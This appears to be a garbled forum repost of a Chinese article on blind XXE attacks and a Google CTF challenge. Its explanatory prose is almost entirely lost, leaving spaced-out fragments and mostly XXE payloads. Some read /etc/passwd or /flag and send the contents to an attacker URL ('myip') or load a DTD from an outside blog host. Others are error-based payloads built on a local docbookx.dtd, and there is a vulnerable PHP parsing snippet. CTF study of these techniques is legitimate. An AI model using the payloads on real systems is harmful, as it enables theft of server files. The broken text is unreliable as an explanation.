[14349] 2019-07-15_BlindXXE详解与GoogleCTF一道题分析

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2019-07-15_BlindXXE详解与GoogleCTF一道题分析 B l i n d   X X E G o o g l e   C T F J r X n m 2 3 3   F r e e B u f   2 0 1 9 - 0 7 - 1 5 X X E B l i n d   X X E d t d O O B ( o u t - o f - b a n d ) d t d O O B D T D D T D B l i n d   X X E D T D D T D g o o g l e   c t f   p h p X M L D T D X X E X M L S Y S T E M u r i X X E B l i n d   X X E   使 D T D D T D 使 % 使 %   H T M L B l i n d   X X E O O B D T D u r i f i l e h t t p f t p X M L   S c h e m a ,   D T D ,   a n d   E n t i t y   A t t a c k s 1 0 X M L s t a r t s e n d s e n d f i l e s P E R e f e r e n c e s   f o r b i d d e n   i n   i n t e r n a l   s u b s e t   i n   E n t i t y P E R e f e r e n c e s   ( P a r a m e t e r   E n t i t y   R e f e r e n c e ) E n t i t y D T D D T D x m l . d t d ( p h p b a s e 6 4 ) D T D < ? p h p l i b x m l _ d i s a b l e _ e n t i t y _ l o a d e r ( f a l s e ) ; $ x m l f i l e   =   f i l e _ g e t _ c o n t e n t s ( ' p h p : / / i n p u t ' ) ; $ d o m   =   n e w   D O M D o c u m e n t ( ) ; $ d o m - > l o a d X M L ( $ x m l f i l e ,   L I B X M L _ N O E N T   |   L I B X M L _ D T D L O A D ) ; $ c r e d s   =   s i m p l e x m l _ i m p o r t _ d o m ( $ d o m ) ; < ! E N T I T Y     S Y S T E M   u r l   >   / / < ! E N T I T Y       >   / / < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   n o r m a l   " h e l l o " >     < ! - -     - - >         < ! E N T I T Y   n o r m a l   S Y S T E M   " h t t p : / / x m l . o r g / h h h . d t d " >     < ! - -     - - >         < ! E N T I T Y   %   p a r a   S Y S T E M   " f i l e : / / / 1 2 3 4 . d t d " >     < ! - -     - - >         % p a r a ;                         < ! - -     - - > ] > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   t e s t   [         < ! E N T I T Y   %   o u t s i d e   ' < ! E N T I T Y   & # x 2 5 ;   f i l e s   S Y S T E M   " f i l e : / / / e t c / p a s s w d " > ' > ] > < m e s s a g e > & n o r m a l ; < / m e s s a g e > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   f i l e s   S Y S T E M   " f i l e : / / / e t c / p a s s w d " >             < ! E N T I T Y   %   s e n d   S Y S T E M   " h t t p : / / m y i p / ? a = % f i l e s ; " >           % s e n d ; ] > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   f i l e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " >             < ! E N T I T Y   %   s t a r t   " < ! E N T I T Y   & # x 2 5 ;   s e n d   S Y S T E M   ' h t t p : / / m y i p / ? % f i l e ; ' > " >         % s t a r t ;         % s e n d ; ] > < ! E N T I T Y   %   s t a r t   " < ! E N T I T Y   & # x 2 5 ;   s e n d   S Y S T E M   ' h t t p : / / m y i p : 1 0 0 0 1 / ? % f i l e ; ' > " > % s t a r t ; < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / m y i p / x m l . d t d " >             < ! E N T I T Y   %   f i l e   S Y S T E M   " p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / f l a g " >         % r e m o t e ;         % s e n d ; ] >
d t d X M L 广 使 D T D D T D u b u n t u / u s r / s h a r e / y e l p / d t d / d o c b o o k x . d t d d t d % % &   h t m l % r e m o t e / u s r / s h a r e / y e l p / d t d / d o c b o o k x . d t d % I S O a m s o ; I S O a m s o e v a l s e n d 使 P E R e f e r e n c e s   f o r b i d d e n   i n   i n t e r n a l   s u b s e t   i n   E n t i t y   B l i n d   X X E O O B O O B u r l u r l u r l O O B u r l x m l . d t d w 3 X M L : I n   t h e   i n t e r n a l   D T D   s u b s e t ,   p a r a m e t e r - e n t i t y   r e f e r e n c e s   M U S T   N O T   o c c u r   w i t h i n   m a r k u p   d e c l a r a t i o n s ;   t h e y   m a y   o c c u r   w h e r e   m a r k u p   d e c l a r a t i o n s   c a n   o c c u r .   ( T h i s   d o e s   n o t   a p p l y   t o r e f e r e n c e s   t h a t   o c c u r   i n   e x t e r n a l   p a r a m e t e r   e n t i t i e s   o r   t o   t h e   e x t e r n a l   s u b s e t . ) D T D G o o g l e   C T F   b n v G o o g l e   C T F   B l i n d   X X E     b n v W P B l i n d   X X E p a y l o a d D T D p a y l o a d D T D < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   r e m o t e   S Y S T E M   " / u s r / s h a r e / y e l p / d t d / d o c b o o k x . d t d " >         < ! E N T I T Y   %   f i l e   S Y S T E M   " p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / f l a g " >         < ! E N T I T Y   %   I S O a m s o   '                 < ! E N T I T Y   & # x 2 5 ;   e v a l   " < ! E N T I T Y   & # x 2 6 ; # x 2 5 ;   s e n d   S Y S T E M   & # x 2 7 ; h t t p : / / m y i p / ? & # x 2 5 ; f i l e ; & # x 2 7 ; > " >                 & # x 2 5 ; e v a l ;                 & # x 2 5 ; s e n d ;         ' >           % r e m o t e ; ] > < ! E N T I T Y   %   s t a r t   " < ! E N T I T Y   & # x 2 5 ;   s e n d   S Y S T E M   ' f i l e : / / / h h h h h h h / % f i l e ; ' > " > % s t a r t ; < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   r e m o t e   S Y S T E M   " h t t p : / / b l o g . s z f s z f . t o p / x m l . d t d " >         < ! E N T I T Y   %   f i l e   S Y S T E M   " p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / f l a g " >         % r e m o t e ;         % s e n d ; ] > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   r e m o t e   S Y S T E M   " / u s r / s h a r e / y e l p / d t d / d o c b o o k x . d t d " >         < ! E N T I T Y   %   f i l e   S Y S T E M   " p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = f i l e : / / / f l a g " >         < ! E N T I T Y   %   I S O a m s o   '                 < ! E N T I T Y   & # x 2 5 ;   e v a l   " < ! E N T I T Y   & # x 2 6 ; # x 2 5 ;   s e n d   S Y S T E M   & # x 2 7 ; f i l e : / / h h h h h h h h / ? & # x 2 5 ; f i l e ; & # x 2 7 ; > " >                 & # x 2 5 ; e v a l ;                 & # x 2 5 ; s e n d ;         ' >           % r e m o t e ; ] > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E L E M E N T   m e s s a g e   A N Y >         < ! E N T I T Y   %   r e m o t e   S Y S T E M   " / u s r / s h a r e / y e l p / d t d / d o c b o o k x . d t d " >         < ! E N T I T Y   %   p a r a 1   S Y S T E M   " f i l e : / / / f l a g " >         < ! E N T I T Y   %   I S O a m s o   '                 < ! E N T I T Y   & # x 2 5 ;   p a r a 2   " < ! E N T I T Y   & # x 2 6 ; # x 2 5 ;   e r r o r   S Y S T E M   & # x 2 7 ; f i l e : / / / & # x 2 5 ; p a r a 1 ; & # x 2 7 ; > " >                 & # x 2 5 ; p a r a 2 ;         ' >         % r e m o t e ; ] > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E L E M E N T   m e s s a g e   A N Y >         < ! E N T I T Y   %   p a r a 1   S Y S T E M   " f i l e : / / / f l a g " >         < ! E N T I T Y   %   p a r a   '                 < ! E N T I T Y   & # x 2 5 ;   p a r a 2   " < ! E N T I T Y   & # x 2 6 ; # x 2 5 ;   e r r o r   S Y S T E M   & # x 2 7 ; f i l e : / / / & # x 2 5 ; p a r a 1 ; & # x 2 7 ; > " >                 & # x 2 5 ; p a r a 2 ;         ' >         % p a r a ; ] >
W 3 C X M L X M L p a y l o a d X M L p h p 7 . 2   +   l i b x m l 2   2 . 9 . 4 p h p 5 . 4   +   l i b x m l 2   2 . 9 . 1 d t d B l i n d   X X E h t t p s : / / w w w . w 3 . o r g / T R / x m l / # w f c - P E i n I n t e r n a l S u b s e t h t t p s : / / w w w . v s e c u r i t y . c o m / / d o w n l o a d / p a p e r s / X M L D T D E n t i t y A t t a c k s . p d f h t t p s : / / m o h e m i v . c o m / a l l / e x p l o i t i n g - x x e - w i t h - l o c a l - d t d - f i l e s / h t t p s : / / p h o n e x i c u m . g i t h u b . i o / i n f o s e c / x x e . h t m l h t t p s : / / e n . w i k i p e d i a . o r g / w i k i / D o c u m e n t _ t y p e _ d e f i n i t i o n h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 1 9 5 8 9 9 . h t m l * J r X n m 2 3 3 F r e e B u f . C O M < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E N T I T Y   %   f i l e   S Y S T E M   " f i l e : / / / e t c / p a s s w d " >             < ! E N T I T Y   %   s t a r t   " < ! E N T I T Y   & # x 2 5 ;   s e n d   S Y S T E M   ' h t t p : / / m y i p / ? % f i l e ; ' > " >         % s t a r t ;         % s e n d ; ] > < ? x m l   v e r s i o n = " 1 . 0 " ? > < ! D O C T Y P E   m e s s a g e   [         < ! E L E M E N T   m e s s a g e   A N Y >         < ! E N T I T Y   %   p a r a 1   S Y S T E M   " f i l e : / / / f l a g " >         < ! E N T I T Y   %   p a r a   '                 < ! E N T I T Y   & # x 2 5 ;   p a r a 2   " < ! E N T I T Y   & # x 2 6 ; # x 2 5 ;   e r r o r   S Y S T E M   & # x 2 7 ; f i l e : / / / & # x 2 5 ; p a r a 1 ; & # x 2 7 ; > " >                 & # x 2 5 ; p a r a 2 ;         ' >         % p a r a ; ] >
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则